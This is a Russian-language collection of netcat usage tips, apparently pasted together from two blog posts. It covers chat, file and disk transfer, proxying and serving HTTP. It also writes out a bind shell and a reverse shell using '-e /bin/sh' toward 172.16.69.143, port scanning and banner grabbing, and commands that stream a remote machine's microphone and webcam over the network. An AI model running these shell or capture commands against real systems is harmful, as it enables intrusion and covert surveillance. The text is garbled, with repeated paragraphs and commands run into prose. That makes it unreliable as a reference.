Отображение тестовой HTML-странички клиенту с обычным браузером одной командой (порт 8080):
Передача файла клиенту с обычным браузером одной командой (порт 8080):
Начнем с нескольких простых примеров и далее будем их использовать как базовые.
Если Вы помните, я говорил, что netcat это Швейцарский армейский нож. Чем-бы этот нож был, если бы его нельзя было использовать как обычный нож? Вот почему netcat может использоваться вместо обычного telnet:
Вы можете добавить параметр “-v” для более подробного вывода результатов действий, и параметр (-vv) для получения статистики о том, сколько байт было передано во время текущего сеанса соединения.
Netcat может быть использован в качестве сервера. Если Вы запустите его, как указано ниже, он будет слушать на порту 12345 (на всех интерфейсах):
Такой способ разговора, когда обе стороны могут разговаривать друг с другом делает возможным использование nc для операций ввода/вывода через сеть! К примеру, Вы можете послать целую директорию с одного компьютера на другой организовав tar конвейер через nc на первом компьютере, и перенаправив вывод в другой tar процесс на втором.
Предположим, Вы хотите переслать файлы из директории /data компьютера A с IP 192.168.1.10 на компьютер B (с любым IP). Это просто:
Одиночный файл может быть послан проще:
Другое нетривиальное использование netcat в роли прокси. И порт и хост могут быть перенаправлены. Посмотрите на этот пример:
Вероятно самая мощная возможность netcat — запустить любой процесс как сервер:
$ nc localhost 12345
ls -las
total 4288
4 drwxr-xr-x 15 pkrumins users 4096 2009-02-17 07:47 .
4 drwxr-xr-x 4 pkrumins users 4096 2009-01-18 21:22 ..
8 -rw——- 1 pkrumins users 8192 2009-02-16 19:30 .bash_history
4 -rw-r—r— 1 pkrumins users 220 2009-01-18 21:04 .bash_logout
(http://execbit.ru/2011/05/23/netcat/)
1 Передавать файлы (первую команду выполняем на принимающей машине, вторую - на передающей:
(echo -e "HTTP/1.1 200 OK\nContent-Type: text/html\n\n Hello World";) | nc -vv -l -p 8080
Передача файла клиенту с обычным браузером одной командой (порт 8080):
(echo -e "HTTP/1.1 200\nContent-Disposition: attachment;
filename=целевое-имя-которое-увидит-клиент\nContent-Type:
application/octet-stream\nConnection: close\n"; cat имя-файла-на-диске )
| nc -vv -l -p 8080
Как пользоваться nc?
(http://handynotes.ru/2010/01/unix-utility-netcat.html)
Если Вы помните, я говорил, что netcat это Швейцарский армейский нож. Чем-бы этот нож был, если бы его нельзя было использовать как обычный нож? Вот почему netcat может использоваться вместо обычного telnet:
$ nc www.google.com 80
В действительности он более удобный чем обычный telnet, потому что Вы
можете завершить соединение в любое время, нажав Ctrl+C и он
обрабатывает двоичные данные как обычные (никаких escape
последовательностей, ничего). Вы можете добавить параметр “-v” для более подробного вывода результатов действий, и параметр (-vv) для получения статистики о том, сколько байт было передано во время текущего сеанса соединения.
Netcat может быть использован в качестве сервера. Если Вы запустите его, как указано ниже, он будет слушать на порту 12345 (на всех интерфейсах):
$ nc -l -p 12345
Теперь если Вы подключитесь к порту 12345 этого хоста, все, что Вы
набираете будет передано удаленной стороне, что говорит нам о том, что
netcat можно использовать как чат сервер. Запустите на одном из
компьютеров:
# На компьютере A с IP 10.10.10.10
$ nc -l -p 12345
И подключитесь к нему с другого:$ nc -l -p 12345
# На компьютере B
$ nc 10.10.10.10 12345
Теперь обе стороны могут переговариваться!$ nc 10.10.10.10 12345
Такой способ разговора, когда обе стороны могут разговаривать друг с другом делает возможным использование nc для операций ввода/вывода через сеть! К примеру, Вы можете послать целую директорию с одного компьютера на другой организовав tar конвейер через nc на первом компьютере, и перенаправив вывод в другой tar процесс на втором.
Предположим, Вы хотите переслать файлы из директории /data компьютера A с IP 192.168.1.10 на компьютер B (с любым IP). Это просто:
# На компьютере A с IP 192.168.1.10
$ tar -cf — /data | nc -l -p 6666
$ tar -cf — /data | nc -l -p 6666
# На компьютере B
$ nc 192.168.1.10 6666 | tar -xf -
Не забудьте скомбинировать конвейер с Рipe Viewer, который был описан в предыдущей статье, что-бы посмотреть статистику того, как быстро происходит передача!$ nc 192.168.1.10 6666 | tar -xf -
Одиночный файл может быть послан проще:
# На компьютере A с IP 192.168.1.10
$ cat file | nc -l -p 6666
$ cat file | nc -l -p 6666
# На компьютере B
$ nc 192.168.1.10 6666 > file
Вы даже можете скопировать и восстановить целый диск, с помощью nc:$ nc 192.168.1.10 6666 > file
# На компьютере A с IP 192.168.1.10
$ cat /dev/hdb | nc -l -p 6666
$ cat /dev/hdb | nc -l -p 6666
# На компьютере B
$ nc 192.168.1.10 6666 > /dev/hdb
Заметим: Опция “-l” не может быть использована совместно с “-p” на
Mac компьютерах! Решение, — просто заменить “-l -p 6666? на “-l 6666?.
Как здесь:$ nc 192.168.1.10 6666 > /dev/hdb
# теперь nc слушает на порту 6666 для Mac компьютеров
$ nc -l 6666
Незаурядное использование netcat — сканирование портов. Netcat не
лучший инструмент для такой работы, но он с этим справляется (лучший,
конечно-же nmap):$ nc -l 6666
$ nc -v -n -z -w 1 192.168.1.2 1-1000
(UNKNOWN) [192.168.1.2] 445 (microsoft-ds) open
(UNKNOWN) [192.168.1.2] 139 (netbios-ssn) open
(UNKNOWN) [192.168.1.2] 111 (sunrpc) open
(UNKNOWN) [192.168.1.2] 80 (www) open
(UNKNOWN) [192.168.1.2] 25 (smtp) : Connection timed out
(UNKNOWN) [192.168.1.2] 22 (ssh) open
Параметр “-n” предотвращает от просмотра DNS, “-z” не ждет ответа от
сервера, и “-w 1? задает таймаут для соединения в 1 секунду.(UNKNOWN) [192.168.1.2] 445 (microsoft-ds) open
(UNKNOWN) [192.168.1.2] 139 (netbios-ssn) open
(UNKNOWN) [192.168.1.2] 111 (sunrpc) open
(UNKNOWN) [192.168.1.2] 80 (www) open
(UNKNOWN) [192.168.1.2] 25 (smtp) : Connection timed out
(UNKNOWN) [192.168.1.2] 22 (ssh) open
Другое нетривиальное использование netcat в роли прокси. И порт и хост могут быть перенаправлены. Посмотрите на этот пример:
$ nc -l -p 12345 | nc www.google.com 80
Эта команда запускает nc на порту 1234 и перенаправляет все
соединения на google.com:80. Если теперь Вы подключитесь к этому
компьютеру на порту 12345 и сделаете запрос, Вы обнаружите, что в ответ
не получаете никаких данных. Это правильно, потому-что мы не установили
двунаправленный канал. Если Вы добавите второй канал, Вы получите Ваши
данные на другом порту:
$ nc -l -p 12345 | nc www.google.com 80 | nc -l -p 12346
После посылки запроса на порт 12345, получите Ваши данные ответа на порту 12346.Вероятно самая мощная возможность netcat — запустить любой процесс как сервер:
$ nc -l -p 12345 -e /bin/bash
Параметр “-e” пораждает выполнение ввода и вывода перенаправляемого
через сетевой сокет. Теперь, если Вы подключитесь к хосту на порту
12345, Вы можете использовать bash:$ nc localhost 12345
ls -las
total 4288
4 drwxr-xr-x 15 pkrumins users 4096 2009-02-17 07:47 .
4 drwxr-xr-x 4 pkrumins users 4096 2009-01-18 21:22 ..
8 -rw——- 1 pkrumins users 8192 2009-02-16 19:30 .bash_history
4 -rw-r—r— 1 pkrumins users 220 2009-01-18 21:04 .bash_logout
(http://execbit.ru/2011/05/23/netcat/)
1 Передавать файлы (первую команду выполняем на принимающей машине, вторую - на передающей:
$ nc -l 31334 > filename $ nc 172.16.69.143 31334 < filename
2 Удаленно читать логи (первая - сервер, вторая - клиент):
$ nc -f /var/log/messages | nc -l 31334 $ nc 172.16.69.143 31334
3 Использовать вместо telnet (первая - telnet-сервер, вторая - клиент):
$ nc -l -p 31334 -e /bin/sh $ nc 172.16.69.143 31334
4 Сканировать на открытые порты:
$ nc -z execbit.ru 1-1024
5 Осуществлять фингерпринт сервисов на основе баннеров:
$ echo "QUIT" | nc execbit.ru 1-1024
6 Организовывать обратный шелл (первая - клиент, вторая - сервер, однако шелл откроется от сервера к клиенту):
$ nc -e /bin/sh 172.16.69.143 31334 $ nc -l -p 31334
7 Делать микрофонную запись с удаленной машины (сервер, клиент):
$ arecord -f dat -t raw | nc -l 31337 $ nc 172.16.69.143 31337 | oggenc - -r -o nc.ogg
8 Получать снимки с web-камеры удаленной машины (сервер, клиент):
$ while [ 1 ]; do streamer -o /tmp/photo.jpeg; nc -l 31337 < /tmp/photo.jpeg; done $ nc localhost 31337 > photo.jpeg
Однако, важно понимать, что существует
несколько версий netcat, поведение которых может отличаться. Экземпляр,
поставляемый с дистрибутивами Linux, - это оригинал, доживший до наших
дней. Все пять приведенных примеров он отработает без проблем. Версия
под названием GNU Netcat не поддерживает опции -e, поэтому второй и пятый примеры она не воспримет.
Особого внимания заслуживает netcat, распространяемый вместе с BSD-системами, опция -e в нем есть, но предназначена она для шифрования входящего и исходящего трафика методом IPSec ESP:
$ nc -e 'in ipsec esp/transport//require' -e 'out ipsec esp/transport//require' \ 172.16.69.143 31334
Кроме того, BSD Netcat способен подключаться к удаленной машине через прокси:
$ nc -x172.16.64.1:8080 -Xconnect 172.16.69.143 31334
В этом примере прокси находится по адресу 172.16.64.1:8080, а флаг -Xconnect
говорит о том, что он работает с протоколом HTTP. Также поддерживаются
SOCKS версий 4 и 5, но о них следует информировать netcat через флаг -X4 или -X5.
Сам netcat легко использовать в качестве прокси или редиректора портов, но в этом случае его лучше связать с демоном inetd:
# echo 'redirect-2525-to-25 2525/tcp' >> /etc/services # echo 'redirect-2525-to-25 stream tcp nowait nobody /usr/bin/nc nc -w 2 127.0.0.1 25' \ >> /etc/inetd.conf # killall -HUP inetd
Теперь весь трафик, пришедший на порт 2525,
будет перенаправляться на стандартный 25-й SMTP-порт. Таким же образом
мы можем завернуть трафик с любого порта на другой порт/машину, просто
видоизменив первые две команды.
Кстати, пользователи дистрибутивов Linux могут
вообще не заморачиваться с netcat: демон xinetd, ставший стандартом в
Linux-системах, сам умеет перенаправлять сетевой трафик:
$ echo /etc/xinetd/redirect service redirect-2525-to-25 { disable = no type = UNLISTED socket_type = stream protocol = tcp wait = no port = 2525 redirect = 127.0.0.1 25 user = nobody }